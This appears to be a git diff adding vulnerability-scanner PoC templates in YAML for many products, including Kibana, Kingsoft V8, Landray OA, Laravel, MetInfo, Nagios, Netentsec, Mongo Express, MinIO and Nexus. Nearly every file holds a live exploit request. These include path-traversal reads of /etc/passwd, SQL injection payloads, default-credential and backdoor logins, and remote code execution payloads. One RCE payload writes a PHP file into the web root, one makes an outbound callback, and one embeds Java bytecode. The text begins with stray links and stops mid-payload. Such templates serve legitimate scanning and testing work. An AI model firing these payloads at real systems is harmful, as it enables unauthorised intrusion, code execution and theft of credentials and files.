https://s.tencent.com/research/bsafe/1228.html + - https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw + - https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh diff --git a/webscan/pocs/jupyter-notebook-unauthorized-access.yml b/webscan/pocs/jupyter-notebook-unauthorized-access.yml new file mode 100644 index 0000000..6bb61bf --- /dev/null +++ b/webscan/pocs/jupyter-notebook-unauthorized-access.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jupyter-notebook-unauthorized-access +rules: + - method: GET + path: "/terminals/3" + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"terminals/websocket") && !response.body.bcontains(b"Password:") +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://vulhub.org/#/environments/jupyter/notebook-rce/ diff --git a/webscan/pocs/kafka-manager-unauth.yml b/webscan/pocs/kafka-manager-unauth.yml new file mode 100644 index 0000000..daa460c --- /dev/null +++ b/webscan/pocs/kafka-manager-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-kafka-manager-unauth +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Add Cluster") +detail: + author: Aquilao(https://github.com/Aquilao) + links: + - https://blog.csdn.net/qq_36923426/article/details/111361158 diff --git a/webscan/pocs/kibana-cve-2018-17246.yml b/webscan/pocs/kibana-cve-2018-17246.yml new file mode 100644 index 0000000..e2e74ec --- /dev/null +++ b/webscan/pocs/kibana-cve-2018-17246.yml @@ -0,0 +1,13 @@ +name: poc-yaml-kibana-cve-2018-17246 +rules: + - method: GET + path: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd + follow_redirects: false + expression: | + response.headers["kbn-name"] == "kibana" && response.content_type.contains("application/json") && response.body.bcontains(bytes("\"statusCode\":500")) && response.body.bcontains(bytes("\"message\":\"An internal server error occurred\"")) +detail: + author: canc3s(https://github.com/canc3s) + kibana_version: before 6.4.3 and 5.6.13 + links: + - https://nvd.nist.gov/vuln/detail/CVE-2018-17246 + - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md diff --git a/webscan/pocs/kibana-unauth.yml b/webscan/pocs/kibana-unauth.yml new file mode 100644 index 0000000..eaebc4e --- /dev/null +++ b/webscan/pocs/kibana-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-kibana-unauth +rules: + - method: GET + path: /app/kibana + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b".kibanaWelcomeView") +detail: + author: Isaac(https://github.com/IsaacQiang) + links: + - https://zhuanlan.zhihu.com/p/61215662 \ No newline at end of file diff --git a/webscan/pocs/kingdee-eas-directory-traversal.yml b/webscan/pocs/kingdee-eas-directory-traversal.yml new file mode 100644 index 0000000..58197eb --- /dev/null +++ b/webscan/pocs/kingdee-eas-directory-traversal.yml @@ -0,0 +1,14 @@ +name: poc-yaml-kingdee-eas-directory-traversal +groups: + kingdee1: + - method: GET + path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix= + expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"Windows\",\"path\":\"C:\\\\Windows\",\"folder\":true}") + kingdee2: + - method: GET + path: /appmonitor/protected/selector/server_file/files?folder=/&suffix= + expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"root\",\"path\":\"/root\",\"folder\":true}") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md diff --git a/webscan/pocs/kingsoft-v8-default-password.yml b/webscan/pocs/kingsoft-v8-default-password.yml new file mode 100644 index 0000000..6835390 --- /dev/null +++ b/webscan/pocs/kingsoft-v8-default-password.yml @@ -0,0 +1,12 @@ +name: poc-yaml-kingsoft-v8-default-password +rules: + - method: POST + path: /inter/ajax.php?cmd=get_user_login_cmd + body: "{\"get_user_login_cmd\":{\"name\":\"admin\",\"password\":\"21232f297a57a5a743894a0e4a801fc3\"}}" + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"ADMIN") && response.body.bcontains(b"userSession") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://idc.wanyunshuju.com/aqld/2123.html \ No newline at end of file diff --git a/webscan/pocs/kingsoft-v8-file-read.yml b/webscan/pocs/kingsoft-v8-file-read.yml new file mode 100644 index 0000000..728e10a --- /dev/null +++ b/webscan/pocs/kingsoft-v8-file-read.yml @@ -0,0 +1,13 @@ +name: poc-yaml-kingsoft-v8-file-read +rules: + - method: GET + path: >- + /htmltopdf/downfile.php?filename=/windows/win.ini + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip") + +detail: + author: kzaopa(https://github.com/kzaopa) + links: + - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md diff --git a/webscan/pocs/kong-cve-2020-11710-unauth.yml b/webscan/pocs/kong-cve-2020-11710-unauth.yml new file mode 100644 index 0000000..733f05e --- /dev/null +++ b/webscan/pocs/kong-cve-2020-11710-unauth.yml @@ -0,0 +1,14 @@ +name: poc-yaml-kong-cve-2020-11710-unauth +rules: + - method: GET + path: / + expression: | + response.status == 200 && response.body.bcontains(b"kong_env") + - method: GET + path: /status + expression: | + response.status == 200 && response.body.bcontains(b"kong_db_cache_miss") +detail: + author: Loneyer + links: + - https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw diff --git a/webscan/pocs/kubernetes-unauth.yml b/webscan/pocs/kubernetes-unauth.yml new file mode 100644 index 0000000..557a198 --- /dev/null +++ b/webscan/pocs/kubernetes-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-kubernetes-unauth +rules: + - method: GET + path: /api/v1/nodes + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - http://luckyzmj.cn/posts/15dff4d3.html diff --git a/webscan/pocs/kyan-network-monitoring-account-password-leakage.yml b/webscan/pocs/kyan-network-monitoring-account-password-leakage.yml new file mode 100644 index 0000000..87b1049 --- /dev/null +++ b/webscan/pocs/kyan-network-monitoring-account-password-leakage.yml @@ -0,0 +1,16 @@ +name: poc-yaml-kyan-network-monitoring-account-password-leakage +rules: + - method: GET + path: /hosts + expression: "true" + search: Password=(?P.+) + - method: POST + path: /login.php + body: user=admin&passwd={{pass}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"设备管理系统") && response.body.bcontains(b"context.php") && response.body.bcontains(b"left.php") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/6phWjDrGG0pCpGuCdLusIg diff --git a/webscan/pocs/landray-oa-custom-jsp-fileread.yml b/webscan/pocs/landray-oa-custom-jsp-fileread.yml new file mode 100644 index 0000000..e76745a --- /dev/null +++ b/webscan/pocs/landray-oa-custom-jsp-fileread.yml @@ -0,0 +1,18 @@ +name: poc-yaml-landray-oa-custom-jsp-fileread +groups: + linux: + - method: POST + path: /sys/ui/extend/varkind/custom.jsp + body: var={"body":{"file":"file:///etc/passwd"}} + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: POST + path: /sys/ui/extend/varkind/custom.jsp + body: var={"body":{"file":"file:///c://windows/win.ini"}} + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw diff --git a/webscan/pocs/lanproxy-cve-2021-3019-lfi.yml b/webscan/pocs/lanproxy-cve-2021-3019-lfi.yml new file mode 100644 index 0000000..b4c8a72 --- /dev/null +++ b/webscan/pocs/lanproxy-cve-2021-3019-lfi.yml @@ -0,0 +1,12 @@ +name: poc-yaml-lanproxy-cve-2021-3019-lfi +rules: + - method: GET + path: "/../conf/config.properties" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"config.admin.username"))) && response.body.bcontains(bytes(string(b"config.admin.password"))) && response.content_type.contains("application/octet-stream") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "lanproxy 0.1" + links: + - https://github.com/ffay/lanproxy/issues/152 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019 diff --git a/webscan/pocs/laravel-cve-2021-3129.yml b/webscan/pocs/laravel-cve-2021-3129.yml new file mode 100644 index 0000000..feb735a --- /dev/null +++ b/webscan/pocs/laravel-cve-2021-3129.yml @@ -0,0 +1,23 @@ +name: poc-yaml-laravel-cve-2021-3129 +set: + r: randomLowercase(12) +rules: + - method: POST + path: /_ignition/execute-solution + headers: + Content-Type: application/json + body: |- + { + "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", + "parameters": { + "variableName": "username", + "viewFile": "{{r}}" + } + } + follow_redirects: true + expression: > + response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream")) +detail: + author: Jarcis-cy(https://github.com/Jarcis-cy) + links: + - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129 diff --git a/webscan/pocs/laravel-debug-info-leak.yml b/webscan/pocs/laravel-debug-info-leak.yml new file mode 100644 index 0000000..aa5610e --- /dev/null +++ b/webscan/pocs/laravel-debug-info-leak.yml @@ -0,0 +1,11 @@ +name: poc-yaml-laravel-debug-info-leak +rules: + - method: POST + path: / + follow_redirects: false + expression: > + response.status == 405 && response.body.bcontains(b"MethodNotAllowedHttpException") && response.body.bcontains(b"Environment & details") && (response.body.bcontains(b"vendor\\laravel\\framework\\src\\Illuminate\\Routing\\RouteCollection.php") || response.body.bcontains(b"vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php")) +detail: + author: Dem0ns (https://github.com/dem0ns) + links: + - https://github.com/dem0ns/improper/tree/master/laravel/5_debug diff --git a/webscan/pocs/laravel-improper-webdir.yml b/webscan/pocs/laravel-improper-webdir.yml new file mode 100644 index 0000000..d1db0b5 --- /dev/null +++ b/webscan/pocs/laravel-improper-webdir.yml @@ -0,0 +1,11 @@ +name: poc-yaml-laravel-improper-webdir +rules: + - method: GET + path: /storage/logs/laravel.log + follow_redirects: false + expression: > + response.status == 200 && (response.content_type.contains("plain") || response.content_type.contains("octet-stream")) && (response.body.bcontains(b"vendor\\laravel\\framework") || response.body.bcontains(b"vendor/laravel/framework")) && (response.body.bcontains(b"stacktrace") || response.body.bcontains(b"Stack trace")) +detail: + author: Dem0ns (https://github.com/dem0ns) + links: + - https://github.com/dem0ns/improper diff --git a/webscan/pocs/maccms-rce.yml b/webscan/pocs/maccms-rce.yml new file mode 100644 index 0000000..255a562 --- /dev/null +++ b/webscan/pocs/maccms-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-maccms-rce +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /index.php?m=vod-search&wd={if-A:printf(md5({{r}}))}{endif-A} + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + Affected Version: "maccms8.x" + author: hanxiansheng26(https://github.com/hanxiansheng26) + links: + - https://www.cnblogs.com/test404/p/7397755.html \ No newline at end of file diff --git a/webscan/pocs/maccmsv10-backdoor.yml b/webscan/pocs/maccmsv10-backdoor.yml new file mode 100644 index 0000000..323312e --- /dev/null +++ b/webscan/pocs/maccmsv10-backdoor.yml @@ -0,0 +1,15 @@ +name: poc-yaml-maccmsv10-backdoor +rules: + - method: POST + path: /extend/Qcloud/Sms/Sms.php + headers: + Content-Type: application/x-www-form-urlencoded + body: getpwd=WorldFilledWithLove + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"扫描后门") && response.body.bcontains(b"反弹端口") && response.body.bcontains(b"文件管理") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.cnblogs.com/jinqi520/p/11596500.html + - https://www.t00ls.net/thread-53291-1-1.html diff --git a/webscan/pocs/metinfo-cve-2019-16996-sqli.yml b/webscan/pocs/metinfo-cve-2019-16996-sqli.yml new file mode 100644 index 0000000..2fe015e --- /dev/null +++ b/webscan/pocs/metinfo-cve-2019-16996-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-metinfo-cve-2019-16996-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,{{r1}}*{{r2}},5,6,7%20limit%205,1%20%23 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-1 \ No newline at end of file diff --git a/webscan/pocs/metinfo-cve-2019-16997-sqli.yml b/webscan/pocs/metinfo-cve-2019-16997-sqli.yml new file mode 100644 index 0000000..fac60ec --- /dev/null +++ b/webscan/pocs/metinfo-cve-2019-16997-sqli.yml @@ -0,0 +1,18 @@ +name: poc-yaml-metinfo-cve-2019-16997-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /admin/?n=language&c=language_general&a=doExportPack + headers: + Content-Type: application/x-www-form-urlencoded + body: 'appno= 1 union SELECT {{r1}}*{{r2}},1&editor=cn&site=web' + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-2 \ No newline at end of file diff --git a/webscan/pocs/metinfo-cve-2019-17418-sqli.yml b/webscan/pocs/metinfo-cve-2019-17418-sqli.yml new file mode 100644 index 0000000..05a0ec4 --- /dev/null +++ b/webscan/pocs/metinfo-cve-2019-17418-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-metinfo-cve-2019-17418-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+{{r1}}*{{r2}},1--+&site=admin + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://github.com/evi1code/Just-for-fun/issues/2 diff --git a/webscan/pocs/metinfo-file-read.yml b/webscan/pocs/metinfo-file-read.yml new file mode 100644 index 0000000..e4db80c --- /dev/null +++ b/webscan/pocs/metinfo-file-read.yml @@ -0,0 +1,9 @@ +name: poc-yaml-metinfo-file-read +rules: + - method: GET + path: "/include/thumb.php?dir=http/.....///.....///config/config_db.php" + expression: response.status == 200 && response.body.bcontains(b"con_db_pass") && response.body.bcontains(b"con_db_host") && response.body.bcontains(b"con_db_name") +detail: + author: amos1 + links: + - https://www.cnblogs.com/-qing-/p/10889467.html diff --git a/webscan/pocs/metinfo-lfi-cnvd-2018-13393.yml b/webscan/pocs/metinfo-lfi-cnvd-2018-13393.yml new file mode 100644 index 0000000..e2abdf5 --- /dev/null +++ b/webscan/pocs/metinfo-lfi-cnvd-2018-13393.yml @@ -0,0 +1,12 @@ +name: poc-yaml-metinfo-lfi-cnvd-2018-13393 +rules: + - method: GET + path: /include/thumb.php?dir=http\..\admin\login\login_check.php + follow_redirects: true + expression: | + response.body.bcontains(b"- + {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"Web.Login"} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") + poc2: + - method: POST + path: /minio/webrpc + headers: + Content-Type: application/json + body: >- + {"id":1,"jsonrpc":"2.0","params":{"username":"minioadmin","password":"minioadmin"},"method":"web.Login"} + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uiVersion") && response.body.bcontains(b"token") +detail: + author: harris2015 + links: + - https://docs.min.io/cn/ diff --git a/webscan/pocs/mongo-express-cve-2019-10758.yml b/webscan/pocs/mongo-express-cve-2019-10758.yml new file mode 100644 index 0000000..6d64293 --- /dev/null +++ b/webscan/pocs/mongo-express-cve-2019-10758.yml @@ -0,0 +1,21 @@ +name: poc-yaml-mongo-express-cve-2019-10758 +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: /checkValid + headers: + Authorization: Basic YWRtaW46cGFzcw== + body: >- + document=this.constructor.constructor('return process')().mainModule.require('http').get('{{reverseURL}}') + follow_redirects: true + expression: > + reverse.wait(5) +detail: + vulnpath: '/checkValid' + author: fnmsd(https://github.com/fnmsd) + description: 'Mongo Express CVE-2019-10758 Code Execution' + links: + - https://github.com/masahiro331/CVE-2019-10758 + - https://www.twilio.com/blog/2017/08/http-requests-in-node-js.html \ No newline at end of file diff --git a/webscan/pocs/mpsec-isg1000-file-read.yml b/webscan/pocs/mpsec-isg1000-file-read.yml new file mode 100644 index 0000000..f637775 --- /dev/null +++ b/webscan/pocs/mpsec-isg1000-file-read.yml @@ -0,0 +1,11 @@ +name: poc-yaml-mpsec-isg1000-file-read +rules: + - method: GET + path: /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd + expression: | + response.status == 200 && response.content_type.contains("text/plain") && response.headers["set-cookie"].contains("USGSESSID=") && "root:[x*]?:0:0:".bmatches(response.body) +detail: + author: YekkoY + description: "迈普 ISG1000安全网关 任意文件下载漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E8%BF%88%E6%99%AE/%E8%BF%88%E6%99%AE%20ISG1000%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html?h=isg1000 diff --git a/webscan/pocs/msvod-sqli.yml b/webscan/pocs/msvod-sqli.yml new file mode 100644 index 0000000..ef96ed2 --- /dev/null +++ b/webscan/pocs/msvod-sqli.yml @@ -0,0 +1,12 @@ +name: poc-yaml-msvod-sqli +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: "/images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5({{r1}}))) desc --+a" + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/webscan/pocs/myucms-lfr.yml b/webscan/pocs/myucms-lfr.yml new file mode 100644 index 0000000..1be2b5b --- /dev/null +++ b/webscan/pocs/myucms-lfr.yml @@ -0,0 +1,10 @@ +name: poc-yaml-myucms-lfr +rules: + - method: GET + path: /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: jinqi + links: + - https://github.com/jinqi520 diff --git a/webscan/pocs/nagio-cve-2018-10735.yml b/webscan/pocs/nagio-cve-2018-10735.yml new file mode 100644 index 0000000..d175984 --- /dev/null +++ b/webscan/pocs/nagio-cve-2018-10735.yml @@ -0,0 +1,15 @@ +name: poc-yaml-nagio-cve-2018-10735 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5({{r}}))%23 + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97265 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 diff --git a/webscan/pocs/nagio-cve-2018-10736.yml b/webscan/pocs/nagio-cve-2018-10736.yml new file mode 100644 index 0000000..daf32d3 --- /dev/null +++ b/webscan/pocs/nagio-cve-2018-10736.yml @@ -0,0 +1,15 @@ +name: poc-yaml-nagio-cve-2018-10736 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: GET + path: /nagiosql/admin/info.php?key1=%27%20union%20select%20concat(md5({{r}}))%23 + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97266 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10736 diff --git a/webscan/pocs/nagio-cve-2018-10737.yml b/webscan/pocs/nagio-cve-2018-10737.yml new file mode 100644 index 0000000..9aa2734 --- /dev/null +++ b/webscan/pocs/nagio-cve-2018-10737.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nagio-cve-2018-10737 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /nagiosql/admin/logbook.php + headers: + Content-Type: application/x-www-form-urlencoded + body: + txtSearch=' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97267 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10737 diff --git a/webscan/pocs/nagio-cve-2018-10738.yml b/webscan/pocs/nagio-cve-2018-10738.yml new file mode 100644 index 0000000..465c9d2 --- /dev/null +++ b/webscan/pocs/nagio-cve-2018-10738.yml @@ -0,0 +1,19 @@ +name: poc-yaml-nagio-cve-2018-10738 +set: + r: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: /nagiosql/admin/menuaccess.php + headers: + Content-Type: application/x-www-form-urlencoded + body: + selSubMenu=1&subSave=1&chbKey1=-1%' and (select 1 from(select count(*),concat((select (select (select md5({{r}}))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: 0x_zmz(github.com/0x-zmz) + Affected Version: "Nagios XI 5.2.x以及小于5.4.13的5.4.x" + links: + - https://www.seebug.org/vuldb/ssvid-97268 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10738 diff --git a/webscan/pocs/natshell-arbitrary-file-read.yml b/webscan/pocs/natshell-arbitrary-file-read.yml new file mode 100644 index 0000000..3ed47f5 --- /dev/null +++ b/webscan/pocs/natshell-arbitrary-file-read.yml @@ -0,0 +1,12 @@ +name: poc-yaml-natshell-arbitrary-file-read +rules: + - method: GET + path: /download.php?file=../../../../../etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "(root|toor):[x*]:0:0:".bmatches(response.body) + +detail: + author: Print1n(http://print1n.top) + links: + - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw diff --git a/webscan/pocs/netentsec-icg-default-password.yml b/webscan/pocs/netentsec-icg-default-password.yml new file mode 100644 index 0000000..aefa5fb --- /dev/null +++ b/webscan/pocs/netentsec-icg-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-netentsec-icg-default-password +rules: + - method: POST + path: /user/login/checkPermit + body: usrname=ns25000&pass=ns25000 + expression: | + response.status == 200 && response.body.bcontains(b"\"agreed\":true") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2016-08603 \ No newline at end of file diff --git a/webscan/pocs/netentsec-ngfw-rce.yml b/webscan/pocs/netentsec-ngfw-rce.yml new file mode 100644 index 0000000..dd0995f --- /dev/null +++ b/webscan/pocs/netentsec-ngfw-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-netentsec-ngfw-rce +set: + r2: randomLowercase(10) +rules: + - method: POST + path: /directdata/direct/router + body: | + {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;echo '' >/var/www/html/{{r2}}.php"]}],"type":"rpc","tid":17} + expression: | + response.status == 200 && response.body.bcontains(b"SSLVPN_Resource") && response.body.bcontains(b"\"result\":{\"success\":true}") + - method: GET + path: /{{r2}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r2))) +detail: + author: YekkoY + description: "网康下一代防火墙_任意命令执行漏洞" + links: + - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g diff --git a/webscan/pocs/netgear-cve-2017-5521.yml b/webscan/pocs/netgear-cve-2017-5521.yml new file mode 100644 index 0000000..dc703c1 --- /dev/null +++ b/webscan/pocs/netgear-cve-2017-5521.yml @@ -0,0 +1,11 @@ +name: poc-yaml-netgear-cve-2017-5521 +rules: + - method: POST + path: /passwordrecovered.cgi?id=get_rekt + follow_redirects: false + expression: | + response.status == 200 && "right\">Router\\s*Admin\\s*Username<".bmatches(response.body) && "right\">Router\\s*Admin\\s*Password<".bmatches(response.body) && response.body.bcontains(b"left") +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://www.cnblogs.com/xiaoxiaoleo/p/6360260.html diff --git a/webscan/pocs/nextjs-cve-2017-16877.yml b/webscan/pocs/nextjs-cve-2017-16877.yml new file mode 100644 index 0000000..45324a1 --- /dev/null +++ b/webscan/pocs/nextjs-cve-2017-16877.yml @@ -0,0 +1,13 @@ +name: poc-yaml-nextjs-cve-2017-16877 +rules: + - method: GET + path: /_next/../../../../../../../../../../etc/passwd + follow_redirects: false + expression: > + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + version: <2.4.1 + author: Loneyer + links: + - https://github.com/Loneyers/vuldocker/tree/master/next.js + - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9 diff --git a/webscan/pocs/nexus-cve-2019-7238.yml b/webscan/pocs/nexus-cve-2019-7238.yml new file mode 100644 index 0000000..acc0dd8 --- /dev/null +++ b/webscan/pocs/nexus-cve-2019-7238.yml @@ -0,0 +1,20 @@ +name: poc-yaml-nexus-cve-2019-7238 +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: "/service/extdirect" + headers: + Content-Type: application/json + body: | + {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab